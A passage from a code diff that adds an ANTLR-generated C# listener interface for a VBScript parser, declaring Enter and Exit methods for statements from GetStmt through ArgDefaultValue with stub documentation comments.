ExitFunctionStmt([NotNull] VBScriptParser.FunctionStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterGetStmt([NotNull] VBScriptParser.GetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitGetStmt([NotNull] VBScriptParser.GetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterGoSubStmt([NotNull] VBScriptParser.GoSubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitGoSubStmt([NotNull] VBScriptParser.GoSubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterGoToStmt([NotNull] VBScriptParser.GoToStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitGoToStmt([NotNull] VBScriptParser.GoToStmtContext context); + /// + /// Enter a parse tree produced by the blockIfThenElse + /// labeled alternative in . + /// + /// The parse tree. + void EnterBlockIfThenElse([NotNull] VBScriptParser.BlockIfThenElseContext context); + /// + /// Exit a parse tree produced by the blockIfThenElse + /// labeled alternative in . + /// + /// The parse tree. + void ExitBlockIfThenElse([NotNull] VBScriptParser.BlockIfThenElseContext context); + /// + /// Enter a parse tree produced by the inlineIfThenElse + /// labeled alternative in . + /// + /// The parse tree. + void EnterInlineIfThenElse([NotNull] VBScriptParser.InlineIfThenElseContext context); + /// + /// Exit a parse tree produced by the inlineIfThenElse + /// labeled alternative in . + /// + /// The parse tree. + void ExitInlineIfThenElse([NotNull] VBScriptParser.InlineIfThenElseContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterInlineIfBlockStmt([NotNull] VBScriptParser.InlineIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitInlineIfBlockStmt([NotNull] VBScriptParser.InlineIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterInlineElseBlockStmt([NotNull] VBScriptParser.InlineElseBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitInlineElseBlockStmt([NotNull] VBScriptParser.InlineElseBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterIfBlockStmt([NotNull] VBScriptParser.IfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitIfBlockStmt([NotNull] VBScriptParser.IfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterIfConditionStmt([NotNull] VBScriptParser.IfConditionStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitIfConditionStmt([NotNull] VBScriptParser.IfConditionStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterIfElseIfBlockStmt([NotNull] VBScriptParser.IfElseIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitIfElseIfBlockStmt([NotNull] VBScriptParser.IfElseIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterIfElseBlockStmt([NotNull] VBScriptParser.IfElseBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitIfElseBlockStmt([NotNull] VBScriptParser.IfElseBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterImplementsStmt([NotNull] VBScriptParser.ImplementsStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitImplementsStmt([NotNull] VBScriptParser.ImplementsStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterInputStmt([NotNull] VBScriptParser.InputStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitInputStmt([NotNull] VBScriptParser.InputStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterKillStmt([NotNull] VBScriptParser.KillStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitKillStmt([NotNull] VBScriptParser.KillStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMidStmt([NotNull] VBScriptParser.MidStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMidStmt([NotNull] VBScriptParser.MidStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLetStmt([NotNull] VBScriptParser.LetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLetStmt([NotNull] VBScriptParser.LetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLineInputStmt([NotNull] VBScriptParser.LineInputStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLineInputStmt([NotNull] VBScriptParser.LineInputStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLoadStmt([NotNull] VBScriptParser.LoadStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLoadStmt([NotNull] VBScriptParser.LoadStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLockStmt([NotNull] VBScriptParser.LockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLockStmt([NotNull] VBScriptParser.LockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLsetStmt([NotNull] VBScriptParser.LsetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLsetStmt([NotNull] VBScriptParser.LsetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroIfThenElseStmt([NotNull] VBScriptParser.MacroIfThenElseStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroIfThenElseStmt([NotNull] VBScriptParser.MacroIfThenElseStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroIfBlockStmt([NotNull] VBScriptParser.MacroIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroIfBlockStmt([NotNull] VBScriptParser.MacroIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroElseIfBlockStmt([NotNull] VBScriptParser.MacroElseIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroElseIfBlockStmt([NotNull] VBScriptParser.MacroElseIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroElseBlockStmt([NotNull] VBScriptParser.MacroElseBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroElseBlockStmt([NotNull] VBScriptParser.MacroElseBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMkdirStmt([NotNull] VBScriptParser.MkdirStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMkdirStmt([NotNull] VBScriptParser.MkdirStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterNameStmt([NotNull] VBScriptParser.NameStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitNameStmt([NotNull] VBScriptParser.NameStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOnErrorStmt([NotNull] VBScriptParser.OnErrorStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOnErrorStmt([NotNull] VBScriptParser.OnErrorStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOnGoToStmt([NotNull] VBScriptParser.OnGoToStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOnGoToStmt([NotNull] VBScriptParser.OnGoToStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOnGoSubStmt([NotNull] VBScriptParser.OnGoSubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOnGoSubStmt([NotNull] VBScriptParser.OnGoSubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOpenStmt([NotNull] VBScriptParser.OpenStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOpenStmt([NotNull] VBScriptParser.OpenStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOutputList([NotNull] VBScriptParser.OutputListContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOutputList([NotNull] VBScriptParser.OutputListContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterOutputList_Expression([NotNull] VBScriptParser.OutputList_ExpressionContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitOutputList_Expression([NotNull] VBScriptParser.OutputList_ExpressionContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPrintStmt([NotNull] VBScriptParser.PrintStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPrintStmt([NotNull] VBScriptParser.PrintStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPropertyGetStmt([NotNull] VBScriptParser.PropertyGetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPropertyGetStmt([NotNull] VBScriptParser.PropertyGetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPropertySetStmt([NotNull] VBScriptParser.PropertySetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPropertySetStmt([NotNull] VBScriptParser.PropertySetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPropertyLetStmt([NotNull] VBScriptParser.PropertyLetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPropertyLetStmt([NotNull] VBScriptParser.PropertyLetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPutStmt([NotNull] VBScriptParser.PutStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPutStmt([NotNull] VBScriptParser.PutStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRaiseEventStmt([NotNull] VBScriptParser.RaiseEventStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRaiseEventStmt([NotNull] VBScriptParser.RaiseEventStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRandomizeStmt([NotNull] VBScriptParser.RandomizeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRandomizeStmt([NotNull] VBScriptParser.RandomizeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRedimStmt([NotNull] VBScriptParser.RedimStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRedimStmt([NotNull] VBScriptParser.RedimStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRedimSubStmt([NotNull] VBScriptParser.RedimSubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRedimSubStmt([NotNull] VBScriptParser.RedimSubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterResetStmt([NotNull] VBScriptParser.ResetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitResetStmt([NotNull] VBScriptParser.ResetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterResumeStmt([NotNull] VBScriptParser.ResumeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitResumeStmt([NotNull] VBScriptParser.ResumeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterReturnStmt([NotNull] VBScriptParser.ReturnStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitReturnStmt([NotNull] VBScriptParser.ReturnStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRmdirStmt([NotNull] VBScriptParser.RmdirStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRmdirStmt([NotNull] VBScriptParser.RmdirStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterRsetStmt([NotNull] VBScriptParser.RsetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitRsetStmt([NotNull] VBScriptParser.RsetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSavepictureStmt([NotNull] VBScriptParser.SavepictureStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSavepictureStmt([NotNull] VBScriptParser.SavepictureStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSaveSettingStmt([NotNull] VBScriptParser.SaveSettingStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSaveSettingStmt([NotNull] VBScriptParser.SaveSettingStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSeekStmt([NotNull] VBScriptParser.SeekStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSeekStmt([NotNull] VBScriptParser.SeekStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSelectCaseStmt([NotNull] VBScriptParser.SelectCaseStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSelectCaseStmt([NotNull] VBScriptParser.SelectCaseStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSC_Case([NotNull] VBScriptParser.SC_CaseContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSC_Case([NotNull] VBScriptParser.SC_CaseContext context); + /// + /// Enter a parse tree produced by the caseCondElse + /// labeled alternative in . + /// + /// The parse tree. + void EnterCaseCondElse([NotNull] VBScriptParser.CaseCondElseContext context); + /// + /// Exit a parse tree produced by the caseCondElse + /// labeled alternative in . + /// + /// The parse tree. + void ExitCaseCondElse([NotNull] VBScriptParser.CaseCondElseContext context); + /// + /// Enter a parse tree produced by the caseCondExpr + /// labeled alternative in . + /// + /// The parse tree. + void EnterCaseCondExpr([NotNull] VBScriptParser.CaseCondExprContext context); + /// + /// Exit a parse tree produced by the caseCondExpr + /// labeled alternative in . + /// + /// The parse tree. + void ExitCaseCondExpr([NotNull] VBScriptParser.CaseCondExprContext context); + /// + /// Enter a parse tree produced by the caseCondExprIs + /// labeled alternative in . + /// + /// The parse tree. + void EnterCaseCondExprIs([NotNull] VBScriptParser.CaseCondExprIsContext context); + /// + /// Exit a parse tree produced by the caseCondExprIs + /// labeled alternative in . + /// + /// The parse tree. + void ExitCaseCondExprIs([NotNull] VBScriptParser.CaseCondExprIsContext context); + /// + /// Enter a parse tree produced by the caseCondExprValue + /// labeled alternative in . + /// + /// The parse tree. + void EnterCaseCondExprValue([NotNull] VBScriptParser.CaseCondExprValueContext context); + /// + /// Exit a parse tree produced by the caseCondExprValue + /// labeled alternative in . + /// + /// The parse tree. + void ExitCaseCondExprValue([NotNull] VBScriptParser.CaseCondExprValueContext context); + /// + /// Enter a parse tree produced by the caseCondExprTo + /// labeled alternative in . + /// + /// The parse tree. + void EnterCaseCondExprTo([NotNull] VBScriptParser.CaseCondExprToContext context); + /// + /// Exit a parse tree produced by the caseCondExprTo + /// labeled alternative in . + /// + /// The parse tree. + void ExitCaseCondExprTo([NotNull] VBScriptParser.CaseCondExprToContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSendkeysStmt([NotNull] VBScriptParser.SendkeysStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSendkeysStmt([NotNull] VBScriptParser.SendkeysStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSetattrStmt([NotNull] VBScriptParser.SetattrStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSetattrStmt([NotNull] VBScriptParser.SetattrStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSetStmt([NotNull] VBScriptParser.SetStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSetStmt([NotNull] VBScriptParser.SetStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterStopStmt([NotNull] VBScriptParser.StopStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitStopStmt([NotNull] VBScriptParser.StopStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSubStmt([NotNull] VBScriptParser.SubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSubStmt([NotNull] VBScriptParser.SubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterTimeStmt([NotNull] VBScriptParser.TimeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitTimeStmt([NotNull] VBScriptParser.TimeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterTypeStmt([NotNull] VBScriptParser.TypeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitTypeStmt([NotNull] VBScriptParser.TypeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterTypeStmt_Element([NotNull] VBScriptParser.TypeStmt_ElementContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitTypeStmt_Element([NotNull] VBScriptParser.TypeStmt_ElementContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterTypeOfStmt([NotNull] VBScriptParser.TypeOfStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitTypeOfStmt([NotNull] VBScriptParser.TypeOfStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterUnloadStmt([NotNull] VBScriptParser.UnloadStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitUnloadStmt([NotNull] VBScriptParser.UnloadStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterUnlockStmt([NotNull] VBScriptParser.UnlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitUnlockStmt([NotNull] VBScriptParser.UnlockStmtContext context); + /// + /// Enter a parse tree produced by the vsAssign + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsAssign([NotNull] VBScriptParser.VsAssignContext context); + /// + /// Exit a parse tree produced by the vsAssign + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsAssign([NotNull] VBScriptParser.VsAssignContext context); + /// + /// Enter a parse tree produced by the vsStruct + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsStruct([NotNull] VBScriptParser.VsStructContext context); + /// + /// Exit a parse tree produced by the vsStruct + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsStruct([NotNull] VBScriptParser.VsStructContext context); + /// + /// Enter a parse tree produced by the vsAddressOf + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsAddressOf([NotNull] VBScriptParser.VsAddressOfContext context); + /// + /// Exit a parse tree produced by the vsAddressOf + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsAddressOf([NotNull] VBScriptParser.VsAddressOfContext context); + /// + /// Enter a parse tree produced by the vsTypeOf + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsTypeOf([NotNull] VBScriptParser.VsTypeOfContext context); + /// + /// Exit a parse tree produced by the vsTypeOf + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsTypeOf([NotNull] VBScriptParser.VsTypeOfContext context); + /// + /// Enter a parse tree produced by the vsNew + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsNew([NotNull] VBScriptParser.VsNewContext context); + /// + /// Exit a parse tree produced by the vsNew + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsNew([NotNull] VBScriptParser.VsNewContext context); + /// + /// Enter a parse tree produced by the vsICS + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsICS([NotNull] VBScriptParser.VsICSContext context); + /// + /// Exit a parse tree produced by the vsICS + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsICS([NotNull] VBScriptParser.VsICSContext context); + /// + /// Enter a parse tree produced by the vsLiteral + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsLiteral([NotNull] VBScriptParser.VsLiteralContext context); + /// + /// Exit a parse tree produced by the vsLiteral + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsLiteral([NotNull] VBScriptParser.VsLiteralContext context); + /// + /// Enter a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsUnaryOperation([NotNull] VBScriptParser.VsUnaryOperationContext context); + /// + /// Exit a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsUnaryOperation([NotNull] VBScriptParser.VsUnaryOperationContext context); + /// + /// Enter a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsDualOperation([NotNull] VBScriptParser.VsDualOperationContext context); + /// + /// Exit a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsDualOperation([NotNull] VBScriptParser.VsDualOperationContext context); + /// + /// Enter a parse tree produced by the vsMid + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsMid([NotNull] VBScriptParser.VsMidContext context); + /// + /// Exit a parse tree produced by the vsMid + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsMid([NotNull] VBScriptParser.VsMidContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterVariableStmt([NotNull] VBScriptParser.VariableStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitVariableStmt([NotNull] VBScriptParser.VariableStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterVariableListStmt([NotNull] VBScriptParser.VariableListStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitVariableListStmt([NotNull] VBScriptParser.VariableListStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterVariableSubStmt([NotNull] VBScriptParser.VariableSubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitVariableSubStmt([NotNull] VBScriptParser.VariableSubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterWhileWendStmt([NotNull] VBScriptParser.WhileWendStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitWhileWendStmt([NotNull] VBScriptParser.WhileWendStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterWidthStmt([NotNull] VBScriptParser.WidthStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitWidthStmt([NotNull] VBScriptParser.WidthStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterWithStmt([NotNull] VBScriptParser.WithStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitWithStmt([NotNull] VBScriptParser.WithStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterWriteStmt([NotNull] VBScriptParser.WriteStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitWriteStmt([NotNull] VBScriptParser.WriteStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterExplicitCallStmt([NotNull] VBScriptParser.ExplicitCallStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitExplicitCallStmt([NotNull] VBScriptParser.ExplicitCallStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterECS_ProcedureCall([NotNull] VBScriptParser.ECS_ProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitECS_ProcedureCall([NotNull] VBScriptParser.ECS_ProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterECS_MemberProcedureCall([NotNull] VBScriptParser.ECS_MemberProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitECS_MemberProcedureCall([NotNull] VBScriptParser.ECS_MemberProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterImplicitCallStmt_InBlock([NotNull] VBScriptParser.ImplicitCallStmt_InBlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitImplicitCallStmt_InBlock([NotNull] VBScriptParser.ImplicitCallStmt_InBlockContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterNoParenthesisArgs([NotNull] VBScriptParser.NoParenthesisArgsContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitNoParenthesisArgs([NotNull] VBScriptParser.NoParenthesisArgsContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_B_ProcedureCall([NotNull] VBScriptParser.ICS_B_ProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_B_ProcedureCall([NotNull] VBScriptParser.ICS_B_ProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_B_MemberProcedureCall([NotNull] VBScriptParser.ICS_B_MemberProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_B_MemberProcedureCall([NotNull] VBScriptParser.ICS_B_MemberProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterImplicitCallStmt_InStmt([NotNull] VBScriptParser.ImplicitCallStmt_InStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitImplicitCallStmt_InStmt([NotNull] VBScriptParser.ImplicitCallStmt_InStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_VariableOrProcedureCall([NotNull] VBScriptParser.ICS_S_VariableOrProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_VariableOrProcedureCall([NotNull] VBScriptParser.ICS_S_VariableOrProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_ProcedureOrArrayCall([NotNull] VBScriptParser.ICS_S_ProcedureOrArrayCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_ProcedureOrArrayCall([NotNull] VBScriptParser.ICS_S_ProcedureOrArrayCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_NestedProcedureCall([NotNull] VBScriptParser.ICS_S_NestedProcedureCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_NestedProcedureCall([NotNull] VBScriptParser.ICS_S_NestedProcedureCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_MembersCall([NotNull] VBScriptParser.ICS_S_MembersCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_MembersCall([NotNull] VBScriptParser.ICS_S_MembersCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_MemberCall([NotNull] VBScriptParser.ICS_S_MemberCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_MemberCall([NotNull] VBScriptParser.ICS_S_MemberCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterICS_S_DefaultMemberAccess([NotNull] VBScriptParser.ICS_S_DefaultMemberAccessContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitICS_S_DefaultMemberAccess([NotNull] VBScriptParser.ICS_S_DefaultMemberAccessContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterArgsCall([NotNull] VBScriptParser.ArgsCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitArgsCall([NotNull] VBScriptParser.ArgsCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterArgCall([NotNull] VBScriptParser.ArgCallContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitArgCall([NotNull] VBScriptParser.ArgCallContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterDefaultMemberAccess([NotNull] VBScriptParser.DefaultMemberAccessContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitDefaultMemberAccess([NotNull] VBScriptParser.DefaultMemberAccessContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterArgList([NotNull] VBScriptParser.ArgListContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitArgList([NotNull] VBScriptParser.ArgListContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterArg([NotNull] VBScriptParser.ArgContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitArg([NotNull] VBScriptParser.ArgContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterArgDefaultValue([NotNull] VBScriptParser.ArgDefaultValueContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitArgDefaultValue([NotNull] VBScriptParser.ArgDefaultValueContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSubscripts([NotNull] 